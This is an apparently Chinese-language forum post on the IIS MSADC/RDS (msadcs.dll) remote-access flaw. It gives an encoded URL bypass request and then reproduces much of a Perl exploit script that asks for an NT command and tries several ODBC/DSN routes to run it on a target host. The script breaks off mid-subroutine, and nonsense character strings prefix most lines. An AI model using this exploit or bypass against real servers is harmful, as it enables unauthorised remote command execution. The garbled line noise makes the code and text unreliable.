IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
.}c&"L;W Uk'bOp 涉及程序:
1s _N!a Microsoft NT server
PU2^4h/[` 0#S#v2r5 描述:
Nrn_Gy>|D 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
;Zy[2M E Xxv 详细:
;TC"n!ew 如果你没有时间读详细内容的话,就删除:
PNs*+/-S c:\Program Files\Common Files\System\Msadc\msadcs.dll
F+SqJSa 有关的安全问题就没有了。
4~K%,K+Du j2RdBoCt 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
0sA+5*mdM KSAE!+ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
p>l:^-N;f 关于利用ODBC远程漏洞的描述,请参看:
I'E7mb<2 {ew;
/; http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 4o<rj4G> #I"s{* 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
[0n[ \&
0 http://www.microsoft.com/security/bulletins/MS99-025faq.asp jcbq# F;L8FL- 这里不再论述。
5~[m] Fy$f`w_H@ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
2oo/KndU 9Wv}g"KY0 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
(2ZkfN 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
[Qqomm.[\w 3oOr*N3R -.OZ #将下面这段保存为txt文件,然后: "perl -x 文件名"
3c=>;g we/sv9v}n #!perl
cSTF$62E #
RG.wu6Av # MSADC/RDS 'usage' (aka exploit) script
v{X<6^g #
.%EYof # by rain.forest.puppy
2}n7f7[/b #
\2^o,1r/ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
E1`TQA # beta test and find errors!
:>y;*x0w RKPX*(i~ use Socket; use Getopt::Std;
pft-.1py getopts("e:vd:h:XR", \%args);
:Y Ki +# 3e<+!F print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
'.wb= C |->CI if (!defined $args{h} && !defined $args{R}) {
tE#;$Ss print qq~
FuM:~jv Usage: msadc.pl -h <host> { -d <delay> -X -v }
ox*>HkV -h <host> = host you want to scan (ip or domain)
ALQ-aXJ -d <seconds> = delay between calls, default 1 second
SLW|)Q24 -X = dump Index Server path table, if available
{2)).g -v = verbose
h343$,))u -e = external dictionary file for step 5
Xp.$FJ1) hv`I`[/J Or a -R will resume a command session
63i&< 3$_JNF` ~; exit;}
dmWCNeja. T#<Q[h= $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
(6Ciqf8 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
I^Dm 3yz if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
N8iLI` if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
"~mY4WVG $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
a4[t3U if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Q5b9q$L$ >xXC=z+g] if (!defined $args{R}){ $ret = &has_msadc;
KM+[1Ze$ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Z(t7QFd !FwNq'Q8$ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
4f&"1: . "cmd /c ";
?rjB9AC_;t $in=<STDIN>; chomp $in;
f92z/5%V $command="cmd /c " . $in ;
TlowEh8r &1Cs' if (defined $args{R}) {&load; exit;}
,+5:}hR+ &f}w&k2yj print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
F{4v[WP) &try_btcustmr;
$A`m8?bY dVUe!S` print "\nStep 2: Trying to make our own DSN...";
B Dp")[l &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
-p?&vQDo` CBv0fQtL print "\nStep 3: Trying known DSNs...";
PXyv);#Q` &known_dsn;
):[}NDmC p|(SR~;6 print "\nStep 4: Trying known .mdbs...";
HB{'MBs &known_mdb;
OD9z7*E@ !,dp/5
V if (defined $args{e}){
}i{qRx"4 print "\nStep 5: Trying dictionary of DSN names...";
O}w%$ mq &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
I tb_ H zE<Iv\Q print "Sorry Charley...maybe next time?\n";
dr(-k3ex exit;
BA2J dU +4
h!;i ##############################################################################
\_ 3vKTCHbk9 sub sendraw { # ripped and modded from whisker
v2I? 5?j sleep($delay); # it's a DoS on the server! At least on mine...
|RXQ_| my ($pstr)=@_;
_ !E&